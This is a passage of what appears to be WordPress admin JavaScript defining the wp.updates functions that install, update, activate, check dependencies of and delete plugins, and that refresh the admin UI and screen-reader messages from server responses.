		if ( false !== $.support.postMessage && null !== target && -1 === window.parent.location.pathname.indexOf( 'index.php' ) ) {
			target.postMessage( JSON.stringify( data ), window.location.origin );
		}
	};

	/**
	 * Decrements the update counts throughout the various menus.
	 *
	 * This includes the toolbar, the "Updates" menu item and the menu items
	 * for plugins and themes.
	 *
	 * @since 3.9.0
	 *
	 * @param {string} type The type of item that was updated or deleted.
	 *                      Can be 'plugin', 'theme'.
	 */
	wp.updates.decrementCount = function( type ) {
		settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 );

		if ( 'plugin' === type ) {
			settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 );
		} else if ( 'theme' === type ) {
			settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 );
		}

		wp.updates.refreshCount( type );
	};

	/**
	 * Sends an Ajax request to the server to update a plugin.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePlugin`.
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Plugin basename.
	 * @param {string}               args.slug    Plugin slug.
	 * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess
	 * @param {updatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.updatePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updatePlugin = function( args ) {
		var $updateRow, $card, $message, message,
			$adminBarUpdates = $( '#wp-admin-bar-updates' ),
			buttonText = __( 'Updating...' ),
			isPluginInstall = 'plugin-install' === pagenow || 'plugin-install-network' === pagenow;

		args = _.extend( {
			success: wp.updates.updatePluginSuccess,
			error: wp.updates.updatePluginError
		}, args );

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' );
			$message   = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( 'Updating %s...', 'plugin' ),
				$updateRow.find( '.plugin-title strong' ).text()
			);
		} else if ( isPluginInstall ) {
			$card    = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' );
			$message = $card.find( '.update-now' ).addClass( 'updating-message' );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( 'Updating %s...', 'plugin' ),
				$message.data( 'name' )
			);

			// Remove previous error messages, if any.
			$card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove();
		}

		$adminBarUpdates.addClass( 'spin' );

		if ( $message.html() !== __( 'Updating...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		$message
			.attr( 'aria-label', message )
			.text( buttonText );

		$document.trigger( 'wp-plugin-updating', args );

		if ( isPluginInstall && 'plugin-information-footer' === $card.attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'updating-plugin',
					slug: args.slug,
					addClasses: 'updating-message',
					text: buttonText,
					ariaLabel: message
				}
			);
		}

		return wp.updates.ajax( 'update-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginSuccess`.
	 * @since 5.5.0 Auto-update "time to next update" text cleared.
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin to be updated.
	 * @param {string} response.plugin     Basename of the plugin to be updated.
	 * @param {string} response.pluginName Name of the plugin to be updated.
	 * @param {string} response.oldVersion Old version of the plugin.
	 * @param {string} response.newVersion New version of the plugin.
	 */
	wp.updates.updatePluginSuccess = function( response ) {
		var $pluginRow, $updateMessage, newText,
			$adminBarUpdates = $( '#wp-admin-bar-updates' ),
			buttonText = _x( 'Updated!', 'plugin' ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( '%s updated!', 'plugin' ),
				response.pluginName
			);

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$pluginRow     = $( 'tr[data-plugin="' + response.plugin + '"]' )
				.removeClass( 'update is-enqueued' )
				.addClass( 'updated' );
			$updateMessage = $pluginRow.find( '.update-message' )
				.removeClass( 'updating-message notice-warning' )
				.addClass( 'updated-message notice-success' ).find( 'p' );

			// Update the version number in the row.
			newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
			$pluginRow.find( '.plugin-version-author-uri' ).html( newText );

			// Clear the "time to next auto-update" text.
			$pluginRow.find( '.auto-update-time' ).empty();
		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
			$updateMessage = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.update-now' )
				.removeClass( 'updating-message' )
				.addClass( 'button-disabled updated-message' );
		}

		$adminBarUpdates.removeClass( 'spin' );

		$updateMessage
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( 'Update completed successfully.' ) );

		if ( 'plugin_install_from_iframe' !== $updateMessage.attr( 'id' ) ) {
			wp.updates.decrementCount( 'plugin' );
		} else {
			wp.updates.setCardButtonStatus(
				{
					status: 'updated-plugin',
					slug: response.slug,
					removeClasses: 'updating-message',
					addClasses: 'button-disabled updated-message',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		$document.trigger( 'wp-plugin-update-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginError`.
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be updated.
	 * @param {string}  response.plugin       Basename of the plugin to be updated.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be updated.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.updatePluginError = function( response ) {
		var $pluginRow, $card, $message, errorMessage, buttonText, ariaLabel,
			$adminBarUpdates = $( '#wp-admin-bar-updates' );

		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed update. */
			__( 'Update failed: %s' ),
			response.errorMessage
		);

		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
			$pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ).removeClass( 'is-enqueued' );

			if ( response.plugin ) {
				$message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' );
			} else {
				$message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' );
			}
			$message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage );

			if ( response.pluginName ) {
				$message.find( 'p' )
					.attr(
						'aria-label',
						sprintf(
							/* translators: %s: Plugin name and version. */
							_x( '%s update failed.', 'plugin' ),
							response.pluginName
						)
					);
			} else {
				$message.find( 'p' ).removeAttr( 'aria-label' );
			}
		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
			buttonText = __( 'Update failed.' );

			$card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' )
				.append( wp.updates.adminNotice( {
					className: 'update-message notice-error notice-alt is-dismissible',
					message:   errorMessage
				} ) );

			if ( $card.hasClass( 'plugin-card-' + response.slug ) ) {
				$card.addClass( 'plugin-card-update-failed' );
			}

			$card.find( '.update-now' )
				.text( buttonText )
				.removeClass( 'updating-message' );

			if ( response.pluginName ) {
				ariaLabel = sprintf(
					/* translators: %s: Plugin name and version. */
					_x( '%s update failed.', 'plugin' ),
					response.pluginName
				);

				$card.find( '.update-now' ).attr( 'aria-label', ariaLabel );
			} else {
				ariaLabel = '';
				$card.find( '.update-now' ).removeAttr( 'aria-label' );
			}

			$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {

				// Use same delay as the total duration of the notice fadeTo + slideUp animation.
				setTimeout( function() {
					$card
						.removeClass( 'plugin-card-update-failed' )
						.find( '.column-name a' ).trigger( 'focus' );

					$card.find( '.update-now' )
						.attr( 'aria-label', false )
						.text( __( 'Update Now' ) );
				}, 200 );
			} );
		}

		$adminBarUpdates.removeClass( 'spin' );

		wp.a11y.speak( errorMessage, 'assertive' );

		if ( 'plugin-information-footer' === $card.attr('id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'plugin-update-failed',
					slug: response.slug,
					removeClasses: 'updating-message',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		$document.trigger( 'wp-plugin-update-error', response );
	};

	/**
	 * Sends an Ajax request to the server to install a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}                args         Arguments.
	 * @param {string}                args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess
	 * @param {installPluginError=}   args.error   Optional. Error callback. Default: wp.updates.installPluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installPlugin = function( args ) {
		var $card    = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ),
			$message = $card.find( '.install-now' ),
			buttonText = __( 'Installing...' ),
			ariaLabel;

		args = _.extend( {
			success: wp.updates.installPluginSuccess,
			error: wp.updates.installPluginError
		}, args );

		if ( 'import' === pagenow ) {
			$message = $( '[data-slug="' + args.slug + '"]' );
		}

		if ( $message.html() !== __( 'Installing...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		ariaLabel = sprintf(
			/* translators: %s: Plugin name and version. */
			_x( 'Installing %s...', 'plugin' ),
			$message.data( 'name' )
		);

		$message
			.addClass( 'updating-message' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( 'Installing... please wait.' ) );

		// Remove previous error messages, if any.
		$card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove();

		$document.trigger( 'wp-plugin-installing', args );

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'installing-plugin',
					slug: args.slug,
					addClasses: 'updating-message',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		return wp.updates.ajax( 'install-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installPluginSuccess = function( response ) {
		var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
			buttonText = _x( 'Installed!', 'plugin' ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( '%s installed!', 'plugin' ),
				response.pluginName
			);

		$message
			.removeClass( 'updating-message' )
			.addClass( 'updated-message installed button-disabled' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		$document.trigger( 'wp-plugin-install-success', response );

		if ( response.activateUrl ) {
			setTimeout( function() {
				wp.updates.checkPluginDependencies( {
					slug: response.slug
				} );
			}, 1000 );
		}

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'installed-plugin',
					slug: response.slug,
					removeClasses: 'updating-message',
					addClasses: 'updated-message installed button-disabled',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a failed plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installPluginError = function( response ) {
		var $card   = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ),
			$button = $card.find( '.install-now' ),
			buttonText = __( 'Installation failed.' ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( '%s installation failed', 'plugin' ),
				$button.data( 'name' )
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed installation. */
			__( 'Installation failed: %s' ),
			response.errorMessage
		);

		$card
			.addClass( 'plugin-card-update-failed' )
			.append( '<div class="notice notice-error notice-alt is-dismissible"><p>' + errorMessage + '</p></div>' );

		$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {

			// Use same delay as the total duration of the notice fadeTo + slideUp animation.
			setTimeout( function() {
				$card
					.removeClass( 'plugin-card-update-failed' )
					.find( '.column-name a' ).trigger( 'focus' );
			}, 200 );
		} );

		$button
			.removeClass( 'updating-message' ).addClass( 'button-disabled' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		wp.a11y.speak( errorMessage, 'assertive' );

		wp.updates.setCardButtonStatus(
			{
				status: 'plugin-install-failed',
				slug: response.slug,
				removeClasses: 'updating-message',
				addClasses: 'button-disabled',
				text: buttonText,
				ariaLabel: ariaLabel
			}
		);

		$document.trigger( 'wp-plugin-install-error', response );
	};

	/**
	 * Sends an Ajax request to the server to check a plugin's dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}                          args         Arguments.
	 * @param {string}                          args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {checkPluginDependenciesSuccess=} args.success Optional. Success callback. Default: wp.updates.checkPluginDependenciesSuccess
	 * @param {checkPluginDependenciesError=}   args.error   Optional. Error callback. Default: wp.updates.checkPluginDependenciesError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.checkPluginDependencies = function( args ) {
		args = _.extend( {
			success: wp.updates.checkPluginDependenciesSuccess,
			error: wp.updates.checkPluginDependenciesError
		}, args );

		wp.a11y.speak( __( 'Checking plugin dependencies... please wait.' ) );
		$document.trigger( 'wp-checking-plugin-dependencies', args );

		return wp.updates.ajax( 'check_plugin_dependencies', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin dependencies check.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the checked plugin.
	 * @param {string} response.pluginName  Name of the checked plugin.
	 * @param {string} response.plugin      The plugin file, relative to the plugins directory.
	 * @param {string} response.activateUrl URL to activate the just checked plugin.
	 */
	wp.updates.checkPluginDependenciesSuccess = function( response ) {
		var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
			buttonText, ariaLabel;

		// Transform the 'Install' button into an 'Activate' button.
		$message
			.removeClass( 'install-now installed button-disabled updated-message' )
			.addClass( 'activate-now button-primary' )
			.attr( 'href', response.activateUrl );

		wp.a11y.speak( __( 'Plugin dependencies check completed successfully.' ) );
		$document.trigger( 'wp-check-plugin-dependencies-success', response );

		if ( 'plugins-network' === pagenow ) {
			buttonText = _x( 'Network Activate', 'plugin' );
			ariaLabel  = sprintf(
				/* translators: %s: Plugin name. */
				_x( 'Network Activate %s', 'plugin' ),
				response.pluginName
			);

			$message
				.attr( 'aria-label', ariaLabel )
				.text( buttonText );
		} else {
			buttonText = _x( 'Activate', 'plugin' );
			ariaLabel = sprintf(
				/* translators: %s: Plugin name. */
				_x( 'Activate %s', 'plugin' ),
				response.pluginName
			);

			$message
				.attr( 'aria-label', ariaLabel )
				.attr( 'data-name', response.pluginName )
				.attr( 'data-slug', response.slug )
				.attr( 'data-plugin', response.plugin )
				.text( buttonText );
		}

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'dependencies-check-success',
					slug: response.slug,
					removeClasses: 'install-now installed button-disabled updated-message',
					addClasses: 'activate-now button-primary',
					text: buttonText,
					ariaLabel: ariaLabel,
					pluginName: response.pluginName,
					plugin: response.plugin,
					href: response.activateUrl
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a failed plugin dependencies check.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be checked.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be checked.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.checkPluginDependenciesError = function( response ) {
		var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
			buttonText = _x( 'Activate', 'plugin' ),
			ariaLabel = sprintf(
				/* translators: 1: Plugin name, 2. The reason the plugin cannot be activated. */
				_x( 'Cannot activate %1$s. %2$s', 'plugin' ),
				response.pluginName,
				response.errorMessage
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, 'check-dependencies' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed activation. */
			__( 'Activation failed: %s' ),
			response.errorMessage
		);

		wp.a11y.speak( errorMessage, 'assertive' );
		$document.trigger( 'wp-check-plugin-dependencies-error', response );

		$message
			.removeClass( 'install-now installed updated-message' )
			.addClass( 'activate-now button-primary' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		if ( 'plugin-information-footer' === $message.parent().attr('id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'dependencies-check-failed',
					slug: response.slug,
					removeClasses: 'install-now installed updated-message',
					addClasses: 'activate-now button-primary',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Sends an Ajax request to the server to activate a plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}                 args         Arguments.
	 * @param {string}                 args.name    The name of the plugin.
	 * @param {string}                 args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {string}                 args.plugin  The plugin file, relative to the plugins directory.
	 * @param {activatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.activatePluginSuccess
	 * @param {activatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.activatePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.activatePlugin = function( args ) {
		var $message = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ).find( '.activate-now, .activating-message' );

		args = _.extend( {
			success: wp.updates.activatePluginSuccess,
			error: wp.updates.activatePluginError
		}, args );

		wp.a11y.speak( __( 'Activating... please wait.' ) );
		$document.trigger( 'wp-activating-plugin', args );

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'activating-plugin',
					slug: args.slug,
					removeClasses: 'installed updated-message button-primary',
					addClasses: 'activating-message',
					text: __( 'Activating...' ),
					ariaLabel: sprintf(
						/* translators: %s: Plugin name. */
						_x( 'Activating %s', 'plugin' ),
						args.name
					)
				}
			);
		}

		return wp.updates.ajax( 'activate-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin activation.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the activated plugin.
	 * @param {string} response.pluginName  Name of the activated plugin.
	 * @param {string} response.plugin      The plugin file, relative to the plugins directory.
	 */
	wp.updates.activatePluginSuccess = function( response ) {
		var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ),
			buttonText = _x( 'Activated!', 'plugin' ),
			ariaLabel = sprintf(
				/* translators: %s: The plugin name. */
				'%s activated successfully.',
				response.pluginName
			);

		wp.a11y.speak( __( 'Activation completed successfully.' ) );
		$document.trigger( 'wp-plugin-activate-success', response );

		$message
			.removeClass( 'activating-message' )
			.addClass( 'activated-message button-disabled' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'activated-plugin',
					slug: response.slug,
					removeClasses: 'activating-message',
					addClasses: 'activated-message button-disabled',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		setTimeout( function() {
			$message.removeClass( 'activated-message' )
			.text( _x( 'Active', 'plugin' ) );

			if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
				wp.updates.setCardButtonStatus(
					{
						status: 'plugin-active',
						slug: response.slug,
						removeClasses: 'activated-message',
						text: _x( 'Active', 'plugin' ),
						ariaLabel: sprintf(
							/* translators: %s: The plugin name. */
							'%s is active.',
							response.pluginName
						)
					}
				);
			}
		}, 1000 );
	};

	/**
	 * Updates the UI appropriately after a failed plugin activation.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be activated.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be activated.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.activatePluginError = function( response ) {
		var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ),
			buttonText = __( 'Activation failed.' ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name. */
				_x( '%s activation failed', 'plugin' ),
				response.pluginName
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, 'activate' ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed activation. */
			__( 'Activation failed: %s' ),
			response.errorMessage
		);

		wp.a11y.speak( errorMessage, 'assertive' );
		$document.trigger( 'wp-plugin-activate-error', response );

		$message
			.removeClass( 'install-now installed activating-message' )
			.addClass( 'button-disabled' )
			.attr( 'aria-label', ariaLabel )
			.text( buttonText );

		if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: 'plugin-activation-failed',
					slug: response.slug,
					removeClasses: 'install-now installed activating-message',
					addClasses: 'button-disabled',
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a successful importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installImporterSuccess = function( response ) {
		wp.updates.addAdminNotice( {
			id:        'install-success',
			className: 'notice-success is-dismissible',
			message:   sprintf(
				/* translators: %s: Activation URL. */
				__( 'Importer installed successfully. <a href="%s">Run importer</a>' ),
				response.activateUrl + '&from=import'
			)
		} );

		$( '[data-slug="' + response.slug + '"]' )
			.removeClass( 'install-now updating-message' )
			.addClass( 'activate-now' )
			.attr({
				'href': response.activateUrl + '&from=import',
				'aria-label':sprintf(
					/* translators: %s: Importer name. */
					__( 'Run %s' ),
					response.pluginName
				)
			})
			.text( __( 'Run Importer' ) );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		$document.trigger( 'wp-importer-install-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed importer install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installImporterError = function( response ) {
		var errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( 'Installation failed: %s' ),
				response.errorMessage
			),
			$installLink = $( '[data-slug="' + response.slug + '"]' ),
			pluginName = $installLink.data( 'name' );

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
			return;
		}

		wp.updates.addAdminNotice( {
			id:        response.errorCode,
			className: 'notice-error is-dismissible',
			message:   errorMessage
		} );

		$installLink
			.removeClass( 'updating-message' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Plugin name. */
					_x( 'Install %s now', 'plugin' ),
					pluginName
				)
			)
			.text( _x( 'Install Now', 'plugin' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-importer-install-error', response );
	};

	/**
	 * Sends an Ajax request to the server to delete a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Basename of the plugin to be deleted.
	 * @param {string}               args.slug    Slug of the plugin to be deleted.
	 * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess
	 * @param {deletePluginError=}   args.error   Optional. Error callback. Default: wp.updates.deletePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deletePlugin = function( args ) {
		var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' );

		args = _.extend( {
			success: wp.updates.deletePluginSuccess,
			error: wp.updates.deletePluginError
		}, args );

		if ( $link.html() !== __( 'Deleting...' ) ) {
			$link
				.data( 'originaltext', $link.html() )
				.text( __( 'Deleting...' ) );
		}

		wp.a11y.speak( __( 'Deleting...' ) );

		$document.trigger( 'wp-plugin-deleting', args );

		return wp.updates.ajax( 'delete-plugin', args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin that was deleted.
	 * @param {string} response.plugin     Base name of the plugin that was deleted.
	 * @param {string} response.pluginName Name of the plugin that was deleted.
	 */
	wp.updates.deletePluginSuccess = function( response ) {

		// Removes the plugin and updates rows.
		$( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
			var $form            = $( '#bulk-action-form' ),
				$views           = $( '.subsubsub' ),
				$pluginRow       = $( this ),
				$currentView     = $views.find( '[aria-current="page"]' ),
				$itemsCount      = $( '.displaying-num' ),
				columnCount      = $form.find( 'thead th:not(.hidden), thead td' ).length,
				pluginDeletedRow = wp.template( 'item-deleted-row' ),
				/**
				 * Plugins Base names of plugins in their different states.
				 *
				 * @type {Object}
				 */
				plugins          = settings.plugins,
				remainingCount;

			// Add a success message after deleting a plugin.
			if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) {
				$pluginRow.after(
					pluginDeletedRow( {
						slug:    response.slug,
						plugin:  response.plugin,
						colspan: columnCount,
						name:    response.pluginName
					} )
				);
			}

			$pluginRow.remove();

			// Remove plugin from update count.
			if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) {
				plugins.upgrade = _.without( plugins.upgrade, response.plugin );
				wp.updates.decrementCount( 'plugin' );
			}

			// Remove from views.
			if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) {
				plugins.inactive = _.without( plugins.inactive, response.plugin );
				if ( plugins.inactive.length ) {
					$views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' );
				} else {
					$views.find( '.inactive' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) {
				plugins.active = _.without( plugins.active, response.plugin );
				if ( plugins.active.length ) {
					$views.find( '.active .count' ).text( '(' + plugins.active.length + ')' );
				} else {
					$views.find( '.active' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) {
				plugins.recently_activated = _.without( plugins.recently_activated, response.plugin );
				if ( plugins.recently_activated.length ) {
					$views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' );
				} else {
					$views.find( '.recently_activated' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins['auto-update-enabled'], response.plugin ) ) {
				plugins['auto-update-enabled'] = _.without( plugins['auto-update-enabled'], response.plugin );
				if ( plugins['auto-update-enabled'].length ) {
					$views.find( '.auto-update-enabled .count' ).text( '(' + plugins['auto-update-enabled'].length + ')' );
				} else {
					$views.find( '.auto-update-enabled' ).remove();
				}
			}

			if ( -1 !== _.indexOf( plugins['auto-update-disabled'], response.plugin ) ) {
				plugins['auto-update-disabled'] = _.without( plugins['auto-update-disabled'], response.plugin );
				if ( plugins['auto-update-disabled'].length ) {
					$views.find( '.auto-update-disabled .count' ).text( '(' + plugins['auto-update-disabled'].length + ')' );
				} else {
					$views.find( '.auto-update-disabled' ).remove();
				}
			}

			plugins.all = _.without( plugins.all, response.plugin );

			if ( plugins.all.length ) {
				$views.find( '.all .count' ).text( '(' + plugins.all.length + ')' );
			} else {
				$form.find( '.tablenav' ).css( { visibility: 'hidden' } );
				$views.find( '.all' ).remove();

				if ( ! $form.find( 'tr.no-items' ).length ) {
					$form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + __( 'No plugins are currently available.' ) + '</td></tr>' );
				}
			}

			if ( $itemsCount.length && $currentView.length ) {
				remainingCount = plugins[ $currentView.parent( 'li' ).attr('class') ].length;
				$itemsCount.text(
					sprintf(
						/* translators: %s: The remaining number of plugins. */
						_nx( '%s item', '%s items', remainingCount, 'plugin/plugins'  ),
						remainingCount
					)
				);
			}
		} );

		wp.a11y.speak( _x( 'Deleted!', 'plugin' ) );

		$document.trigger( 'wp-plugin-delete-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be deleted.
	 * @param {string}  response.plugin       Base name of the plugin to be deleted
